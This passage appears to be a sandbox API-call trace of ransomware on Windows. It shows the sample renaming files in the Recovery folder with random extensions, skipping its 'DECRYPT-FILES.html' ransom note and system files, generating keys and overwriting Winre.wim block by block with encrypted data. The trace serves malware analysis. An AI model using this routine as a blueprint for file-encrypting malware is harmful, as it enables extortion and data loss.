lpString2="DnsHostnameToComputerNameA" | out: lpString1="DnsHostnameToComputerNameA") returned="DnsHostnameToComputerNameA" [0061.845] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEA") returned 26 [0061.845] lstrcpyA (in: lpString1=0x321db34, lpString2="DnsHostnameToComputerNameW" | out: lpString1="DnsHostnameToComputerNameW") returned="DnsHostnameToComputerNameW" [0061.845] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEW") returned 26 [0061.845] lstrcpyA (in: lpString1=0x321db34, lpString2="DosDateTimeToFileTime" | out: lpString1="DosDateTimeToFileTime") returned="DosDateTimeToFileTime" [0061.845] lstrlenA (lpString="DOSDATETIMETOFILETIME") returned 21 [0061.845] lstrcpyA (in: lpString1=0x321db34, lpString2="DosPathToSessionPathA" | out: lpString1="DosPathToSessionPathA") returned="DosPathToSessionPathA" [0061.845] lstrlenA (lpString="DOSPATHTOSESSIONPATHA") returned 21 [0061.845] lstrcpyA (in: lpString1=0x321db34, lpString2="DosPathToSessionPathW" | out: lpString1="DosPathToSessionPathW") returned="DosPathToSessionPathW" [0061.845] lstrlenA (lpString="DOSPATHTOSESSIONPATHW") returned 21 [0061.845] lstrcpyA (in: lpString1=0x321db34, lpString2="DuplicateConsoleHandle" | out: lpString1="DuplicateConsoleHandle") returned="DuplicateConsoleHandle" [0061.845] lstrlenA (lpString="DUPLICATECONSOLEHANDLE") returned 22 [0061.845] lstrcpyA (in: lpString1=0x321db34, lpString2="DuplicateHandle" | out: lpString1="DuplicateHandle") returned="DuplicateHandle" [0061.845] lstrlenA (lpString="DUPLICATEHANDLE") returned 15 [0061.845] lstrcpyA (in: lpString1=0x321db34, lpString2="EnableThreadProfiling" | out: lpString1="EnableThreadProfiling") returned="EnableThreadProfiling" [0061.845] lstrlenA (lpString="ENABLETHREADPROFILING") returned 21 [0061.845] lstrcpyA (in: lpString1=0x321db34, lpString2="EncodePointer" | out: lpString1="EncodePointer") returned="EncodePointer" [0061.846] lstrlenA (lpString="ENCODEPOINTER") returned 13 [0061.846] lstrcpyA (in: lpString1=0x321db34, lpString2="EncodeSystemPointer" | out: lpString1="EncodeSystemPointer") returned="EncodeSystemPointer" [0061.846] lstrlenA (lpString="ENCODESYSTEMPOINTER") returned 19 [0061.846] lstrcpyA (in: lpString1=0x321db34, lpString2="EndUpdateResourceA" | out: lpString1="EndUpdateResourceA") returned="EndUpdateResourceA" [0061.846] lstrlenA (lpString="ENDUPDATERESOURCEA") returned 18 [0061.846] lstrcpyA (in: lpString1=0x321db34, lpString2="EndUpdateResourceW" | out: lpString1="EndUpdateResourceW") returned="EndUpdateResourceW" [0061.846] lstrlenA (lpString="ENDUPDATERESOURCEW") returned 18 [0061.846] lstrcpyA (in: lpString1=0x321db34, lpString2="EnterCriticalSection" | out: lpString1="EnterCriticalSection") returned="EnterCriticalSection" [0061.846] lstrlenA (lpString="ENTERCRITICALSECTION") returned 20 [0061.846] lstrcpyA (in: lpString1=0x321db34, lpString2="EnumCalendarInfoA" | out: lpString1="EnumCalendarInfoA") returned="EnumCalendarInfoA" [0061.846] lstrlenA (lpString="ENUMCALENDARINFOA") returned 17 [0061.846] lstrcpyA (in: lpString1=0x321db34, lpString2="EnumCalendarInfoExA" | out: lpString1="EnumCalendarInfoExA") returned="EnumCalendarInfoExA" [0061.846] lstrlenA (lpString="ENUMCALENDARINFOEXA") returned 19 [0061.846] lstrcpyA (in: lpString1=0x321db34, lpString2="EnumCalendarInfoExEx" | out: lpString1="EnumCalendarInfoExEx") returned="EnumCalendarInfoExEx" [0061.846] lstrlenA (lpString="ENUMCALENDARINFOEXEX") returned 20 [0061.846] lstrcpyA (in: lpString1=0x321db34, lpString2="EnumCalendarInfoExW" | out: lpString1="EnumCalendarInfoExW") returned="EnumCalendarInfoExW" [0061.846] lstrlenA (lpString="ENUMCALENDARINFOEXW") returned 19 [0061.846] lstrcpyA (in: lpString1=0x321db34, lpString2="EnumCalendarInfoW" | out: lpString1="EnumCalendarInfoW") returned="EnumCalendarInfoW" [0061.846] lstrlenA (lpString="ENUMCALENDARINFOW") returned 17 [0061.846] lstrcpyA (in: lpString1=0x321db34, lpString2="EnumDateFormatsA" | out: lpString1="EnumDateFormatsA") returned="EnumDateFormatsA" [0061.846] lstrlenA (lpString="ENUMDATEFORMATSA") returned 16 [0061.846] lstrcpyA (in: lpString1=0x321db34, lpString2="EnumDateFormatsExA" | out: lpString1="EnumDateFormatsExA") returned="EnumDateFormatsExA" [0061.846] lstrlenA (lpString="ENUMDATEFORMATSEXA") returned 18 [0061.846] lstrcpyA (in: lpString1=0x321db34, lpString2="EnumDateFormatsExEx" | out: lpString1="EnumDateFormatsExEx") returned="EnumDateFormatsExEx" [0061.846] lstrlenA (lpString="ENUMDATEFORMATSEXEX") returned 19 [0061.846] lstrcpyA (in: lpString1=0x321db34, lpString2="EnumDateFormatsExW" | out: lpString1="EnumDateFormatsExW") returned="EnumDateFormatsExW" [0061.846] lstrlenA (lpString="ENUMDATEFORMATSEXW") returned 18 [0061.846] lstrcpyA (in: lpString1=0x321db34, lpString2="EnumDateFormatsW" | out: lpString1="EnumDateFormatsW") returned="EnumDateFormatsW" [0061.847] lstrcpyW (in: lpString1=0x33e0000, lpString2="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890" | out: lpString1="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890" [0061.847] lstrlenW (lpString="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi") returned 57 [0061.847] wsprintfW (in: param_1=0x321e7ec, param_2="%s.%s" | out: param_1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi.XvZHI") returned 63 [0061.847] MoveFileExW (lpExistingFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi"), lpNewFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi.XvZHI" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi.xvzhi"), dwFlags=0x0) returned 1 [0061.848] VirtualFree (lpAddress=0x3290000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.848] VirtualFree (lpAddress=0x33e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.848] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.849] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x890bb090, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x890bb090, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x890e11f0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0061.849] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0061.849] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x890bb090, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x890bb090, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x890bb090, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0061.849] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0061.849] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0061.849] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0061.849] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0061.849] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0061.849] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0061.849] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0061.849] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0061.849] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0061.849] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0061.849] lstrlenW (lpString="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\") returned 49 [0061.849] lstrlenW (lpString="wevkgn5.dat") returned 11 [0061.849] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\" | out: lpString1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\" [0061.849] lstrcatW (in: lpString1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\wevkgn5.dat") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\wevkgn5.dat" [0061.849] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0061.850] CreateFileW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\wevkgn5.dat" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.850] CloseHandle (hObject=0x0) returned 0 [0061.850] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.850] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 1 [0061.850] lstrcmpiW (lpString1="Winre.wim", lpString2="DECRYPT-FILES.html") returned 1 [0061.850] lstrcmpiW (lpString1="Winre.wim", lpString2="autorun.inf") returned 1 [0061.850] lstrcmpiW (lpString1="Winre.wim", lpString2="boot.ini") returned 1 [0061.850] lstrcmpiW (lpString1="Winre.wim", lpString2="desktop.ini") returned 1 [0061.850] lstrcmpiW (lpString1="Winre.wim", lpString2="ntuser.dat") returned 1 [0061.850] lstrcmpiW (lpString1="Winre.wim", lpString2="iconcache.db") returned 1 [0061.850] lstrcmpiW (lpString1="Winre.wim", lpString2="bootsect.bak") returned 1 [0061.850] lstrcmpiW (lpString1="Winre.wim", lpString2="ntuser.dat.log") returned 1 [0061.850] lstrcmpiW (lpString1="Winre.wim", lpString2="thumbs.db") returned 1 [0061.850] lstrcmpiW (lpString1="Winre.wim", lpString2="Bootfont.bin") returned 1 [0061.851] lstrlenW (lpString="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\") returned 49 [0061.851] lstrlenW (lpString="Winre.wim") returned 9 [0061.851] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\" | out: lpString1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\" [0061.851] lstrcatW (in: lpString1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\", lpString2="Winre.wim" | out: lpString1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim" [0061.851] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0061.851] CreateFileW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\winre.wim"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0061.862] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x321e640 | out: lpFileSize=0x321e640*=169213970) returned 1 [0061.862] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffef8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0061.862] ReadFile (in: hFile=0x308, lpBuffer=0x321e64c, nNumberOfBytesToRead=0x108, lpNumberOfBytesRead=0x321e648, lpOverlapped=0x0 | out: lpBuffer=0x321e64c*, lpNumberOfBytesRead=0x321e648*=0x108, lpOverlapped=0x0) returned 1 [0061.882] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.882] CryptGenRandom (in: hProv=0x680530, dwLen=0x20, pbBuffer=0x630000 | out: pbBuffer=0x630000) returned 1 [0061.882] CryptGenRandom (in: hProv=0x680530, dwLen=0x8, pbBuffer=0x630020 | out: pbBuffer=0x630020) returned 1 [0061.882] CryptEncrypt (in: hKey=0x66cdd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x321e640*, pdwDataLen=0x321e62c*=0x28, dwBufLen=0x100 | out: pbData=0x321e640*, pdwDataLen=0x321e62c*=0x100) returned 1 [0061.883] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3580000 [0061.883] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3680000 [0061.883] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0061.961] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0061.961] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0061.964] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0061.995] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0061.995] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0061.998] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0062.109] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.109] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0062.112] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0062.187] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.187] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0062.190] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0062.243] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.243] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0062.246] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0062.321] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.321] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0062.325] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0062.367] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.367] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0062.370] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0062.409] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.409] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0062.414] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0062.425] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.425] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0062.428] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0062.470] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.470] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0062.492] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0062.505] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.505] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0062.508] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0062.552] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.552] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0062.556] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0062.569] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.569] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0062.572] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0062.616] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.616] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0062.619] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0062.632] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.632] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0062.636] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0062.677] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.677] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0062.680] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0062.689] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.689] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0062.691] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0062.718] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.718] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0062.721] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0062.809] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.809] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, 